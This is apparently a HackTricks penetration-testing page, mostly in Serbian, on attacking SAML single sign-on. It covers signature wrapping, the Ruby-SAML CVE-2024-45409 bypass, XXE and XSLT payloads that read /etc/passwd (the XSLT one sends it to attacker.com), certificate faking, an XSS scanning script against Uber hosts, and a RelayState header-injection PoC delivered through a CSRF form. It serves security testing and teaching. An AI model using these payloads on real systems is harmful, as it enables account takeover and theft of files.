SAML Napadi

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

SAML Basics

Alat

SAMLExtractor: Alat koji može da prihvati URL ili listu URL-ova i ispiše SAML consume URL.

XML round-trip

U XML-u potpisani deo XML-a se čuva u memoriji, zatim se vrši neko kodiranje/dekodiranje i proverava se potpis. U idealnom slučaju to kodiranje/dekodiranje ne bi trebalo da menja podatke, ali u ovom scenariju, podatak koji se proverava i originalni podatak mogu da budu različiti.

Na primer, pogledajte sledeći kod:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]]>
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Pokretanje programa protiv REXML 3.2.4 ili ranijih verzija rezultovalo bi sledećim izlazom:

First child in original doc: Y
First child after round-trip: Z

Ovako je REXML video originalni XML dokument iz programa iznad:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

A ovako ga je video nakon jedne runde parsiranja i serijalizacije:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

Za više informacija o ranjivosti i kako je zloupotrebiti:

XML Signature Wrapping Attacks

U okviru XML Signature Wrapping attacks (XSW), napadači iskorišćavaju ranjivost koja nastaje kada se XML dokumenti obrađuju kroz dve odvojene faze: signature validation i function invocation. Ovi napadi podrazumevaju menjanje strukture XML dokumenta. Konkretno, napadač ubacuje falsifikovane elemente koji ne narušavaju validnost XML Signature. Ova manipulacija ima za cilj stvaranje neslaganja između elemenata koje analizira application logic i onih koje proverava signature verification module. Kao rezultat, dok XML Signature ostaje tehnički validan i prolazi verifikaciju, application logic obrađuje fraudulent elements. Posledično, napadač efikasno zaobilazi XML Signature-ovu integrity protection i origin authentication, omogućavajući injection of arbitrary content bez otkrivanja.

Sledeći napadi su zasnovani na this blog post and this paper. Pogledajte ih za dodatne detalje.

XSW #1

  • Strategija: Dodaje se novi korenski element koji sadrži Signature.
  • Implikacija: Validator se može pomešati između legitimnog “Response -> Assertion -> Subject” i napadačevog “evil new Response -> Assertion -> Subject”, što dovodi do problema sa integritetom podataka.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg

XSW #2

  • Razlika u odnosu na XSW #1: Koristi detached signature umesto enveloping signature.
  • Implikacija: “Evil” struktura, slična XSW #1, ima za cilj da prevari business logic nakon provere integriteta.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg

XSW #3

  • Strategija: Napravi se evil Assertion na istom hijerarhijskom nivou kao originalna assertion.
  • Implikacija: Namenjeno je da zbuni business logic i navede ga da koristi zlonamerne podatke.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg

XSW #4

  • Razlika u odnosu na XSW #3: Originalna Assertion postaje dete duplirane (evil) Assertion.
  • Implikacija: Slično XSW #3, ali agresivnije menja XML strukturu.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg

XSW #5

  • Jedinstveni aspekt: Ni Signature ni originalna Assertion ne slede standardne konfiguracije (enveloped/enveloping/detached).
  • Implikacija: Kopirana Assertion obavija Signature, menjajući očekivanu strukturu dokumenta.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg

XSW #6

  • Strategija: Slična lokacija umetanja kao kod XSW #4 i #5, ali sa dodatkom.
  • Implikacija: Kopirana Assertion obavija Signature, koja zatim obavija originalnu Assertion, stvarajući ugnježdenu zavaravajuću strukturu.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg

XSW #7

  • Strategija: Ubacuje se Extensions element sa kopiranom Assertion kao detetom.
  • Implikacija: Ovo iskorišćava manje restriktivnu šemu Extensions elementa da zaobiđe kontra-mere zasnovane na validaciji šeme, posebno u bibliotekama poput OpenSAML.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg

XSW #8

  • Razlika u odnosu na XSW #7: Koristi drugi manje restriktivan XML element za varijantu napada.
  • Implikacija: Originalna Assertion postaje dete manje restriktivnog elementa, što okreće strukturu korišćenu u XSW #7.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg

Alat

Možete koristiti Burp ekstenziju SAML Raider da parsirate zahtev, primenite bilo koji XSW napad koji odaberete i pokrenete ga.

Ruby-SAML signature verification bypass (CVE-2024-45409)

Uticaj: Ako Service Provider koristi ranjiv Ruby-SAML (npr. GitLab SAML SSO), napadač koji može da dobije any IdP-signed SAMLResponse može forge a new assertion i prijaviti se kao proizvoljan korisnik.

Opšti tok (signature-wrapping style bypass):

  1. Zabeležite legitimate SAMLResponse u SSO POST-u (Burp ili browser devtools). Potrebna vam je samo bilo koja IdP-signed response za ciljani SP.
  2. Dekodirajte transport encoding u raw XML (tipičan redosled): URL decode → Base64 decode → raw inflate.
  3. Koristite PoC (na primer, Synacktiv script) da patch IDs/NameID/conditions i rewrite signature references/digests tako da verifikacija i dalje prolazi dok SP konzumira polja assertion koja su pod kontrolom napadača.
  4. Ponovo enkodirajte izmenjeni XML (raw deflate → Base64 → URL encode) i pošaljite ga na SAML callback endpoint. Ako uspe, SP će vas prijaviti kao izabranog korisnika.

Primer korišćenja Synacktiv PoC-a (ulaz je zabeleženi SAMLResponse blob):

python3 CVE-2024-45409.py -r response.url_base64 -n admin@example.com -o response_patched.url_base64

XXE

Ako ne znate koje vrste napada su XXE, pročitajte sledeću stranicu:

XXE - XEE - XML External Entity

SAML Responses are deflated and base64 encoded XML documents i mogu biti podložne XML External Entity (XXE) napadima. Manipulacijom XML strukture SAML Response-a, napadači mogu pokušati da iskoriste XXE ranjivosti. Ovako se takav napad može vizualizovati:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Tools

Možete takođe koristiti Burp ekstenziju SAML Raider da generišete POC iz SAML zahteva kako biste testirali moguće XXE i SAML ranjivosti.

Pogledajte i ovo predavanje: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT via SAML

Za više informacija o XSLT idite na:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Extensible Stylesheet Language Transformations (XSLT) mogu se koristiti za transformaciju XML dokumenata u različite formate, poput HTML, JSON ili PDF. Važno je napomenuti da se XSLT transformacije izvode pre verifikacije digitalnog potpisa. To znači da napad može biti uspešan čak i bez važećeg potpisa; samopotpisan ili nevažeći potpis je dovoljan da se nastavi.

Ovde možete pronaći POC za proveru ovakvih ranjivosti; na hacktricks stranici pomenutoj na početku ovog odeljka možete pronaći payloads.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Alat

You can also use the Burp extension SAML Raider to generate the POC from a SAML request to test for possible XSLT vulnerabilities.

Check also this talk: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML Signature Exclusion

The XML Signature Exclusion observes the behavior of SAML implementations when the Signature element is not present. If this element is missing, verifikacija potpisa možda neće biti izvršena, making it vulnerable. It’s possibel to test this by altering the contents that are usually verified by the signature.

https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg

Alat

You can also use the Burp extension SAML Raider. Presretnite SAML Response i kliknite Remove Signatures. In doing so all Signature elements are removed.

With the signatures removed, allow the request to proceed to the target. If the Signature isn’t required by the Service

Certificate Faking

Certificate Faking

Certificate Faking je tehnika za testiranje da li Service Provider (SP) pravilno verifikuje da je SAML Message potpisan by a trusted Identity Provider (IdP). It involves using a *self-signed certificate to sign the SAML Response or Assertion, which helps in evaluating the trust validation process between SP and IdP.

Kako izvesti Certificate Faking

The following steps outline the process using the SAML Raider Burp extension:

  1. Presretnite SAML Response.
  2. If the response contains a signature, send the certificate to SAML Raider Certs using the Send Certificate to SAML Raider Certs button.
  3. In the SAML Raider Certificates tab, select the imported certificate and click Save and Self-Sign to create a self-signed clone of the original certificate.
  4. Go back to the intercepted request in Burp’s Proxy. Select the new self-signed certificate from the XML Signature dropdown.
  5. Remove any existing signatures with the Remove Signatures button.
  6. Sign the message or assertion with the new certificate using the (Re-)Sign Message or (Re-)Sign Assertion button, as appropriate.
  7. Forward the signed message. Successful authentication indicates that the SP accepts messages signed by your self-signed certificate, revealing potential vulnerabilities in the validation process of the SAML messages.

Token Recipient Confusion / Service Provider Target Confusion

Token Recipient Confusion and Service Provider Target Confusion involve checking whether the Service Provider correctly validates the intended recipient of a response. In essence, a Service Provider should reject an authentication response if it was meant for a different provider. The critical element here is the Recipient field, found within the SubjectConfirmationData element of a SAML Response. This field specifies a URL indicating where the Assertion must be sent. If the actual recipient does not match the intended Service Provider, the Assertion should be deemed invalid.

How It Works

For a SAML Token Recipient Confusion (SAML-TRC) attack to be feasible, certain conditions must be met. Firstly, there must be a valid account on a Service Provider (referred to as SP-Legit). Secondly, the targeted Service Provider (SP-Target) must accept tokens from the same Identity Provider that serves SP-Legit.

The attack process is straightforward under these conditions. An authentic session is initiated with SP-Legit via the shared Identity Provider. The SAML Response from the Identity Provider to SP-Legit is intercepted. This intercepted SAML Response, originally intended for SP-Legit, is then redirected to SP-Target. Success in this attack is measured by SP-Target accepting the Assertion, granting access to resources under the same account name used for SP-Legit.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS u funkcionalnosti odjave

Izvorno istraživanje dostupno je na ovom linku.

Tokom procesa directory brute forcing, otkrivena je stranica za odjavu na:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

При приступању овом link-у, дошло је до преусмерења на:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

To je otkrilo da parametar base prihvata URL. Uzimajući ovo u obzir, pojavila se ideja da se URL zameni sa javascript:alert(123); u pokušaju da se pokrene XSS (Cross-Site Scripting) napad.

Masovna eksploatacija

From this research:

Alat SAMLExtractor je korišćen za analizu poddomena uberinternal.com kako bi se pronašle domene koje koriste istu biblioteku. Nakon toga, razvijen je skript koji cilja stranicu oidauth/prompt. Skript testira XSS (Cross-Site Scripting) tako što unosi podatke i proverava da li su reflektovani u izlazu. U slučajevima kada je unos zaista reflektovan, skript označava stranicu kao ranjivu.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

RelayState-based header/body injection to rXSS

Neki SAML SSO endpoint-i dekodiraju RelayState i zatim ga reflektuju u odgovor bez sanitizacije. Ako možete da ubacite nove linije i prepišete response Content-Type, možete naterati browser da renderuje HTML pod kontrolom napadača, ostvarujući reflected XSS.

  • Ideja: zloupotrebiti response-splitting putem newline injection u reflektovanom RelayState. Vidi takođe opšte napomene u CRLF injection.
  • Radi čak i kada se RelayState dekodira base64 server-side: pošaljite base64 koji dekodira u header/body injection.

Opšti koraci:

  1. Sastavite sekvencu header/body injection koja počinje novim redom, prepišite Content-Type u HTML, zatim ubacite HTML/JS payload:

Concept:

\n
Content-Type: text/html


<svg/onload=alert(1)>
  1. URL-enkodirajte sekvencu (primer):
%0AContent-Type%3A+text%2Fhtml%0A%0A%0A%3Csvg%2Fonload%3Dalert(1)%3E
  1. Base64-enkodirajte taj URL-enkodirani string i stavite ga u RelayState.

Example base64 (from the sequence above):

DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
  1. Pošaljite POST sa sintaktički validnim SAMLResponse i pripremljenim RelayState na SSO endpoint (npr. /cgi/logout).
  2. Isporuka preko CSRF: hostujte stranu koja automatski pošalje cross-origin POST ka ciljnoj origin domeni uključujući oba polja.

PoC protiv NetScaler SSO endpoint-a (/cgi/logout):

POST /cgi/logout HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

SAMLResponse=[BASE64-Generic-SAML-Response]&RelayState=DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==

CSRF obrazac isporuke:

<form action="https://target/cgi/logout" method="POST" id="p">
<input type="hidden" name="SAMLResponse" value="[BASE64-Generic-SAML-Response]">
<input type="hidden" name="RelayState" value="DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==">
</form>
<script>document.getElementById('p').submit()</script>

Zašto radi: server dekodira RelayState i uključuje ga u odgovor na način koji dozvoljava newline injection, što attackeru omogućava da utiče na headers i body. Forsiranjem Content-Type: text/html browser će renderovati attacker-controlled HTML iz tela odgovora.

References

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks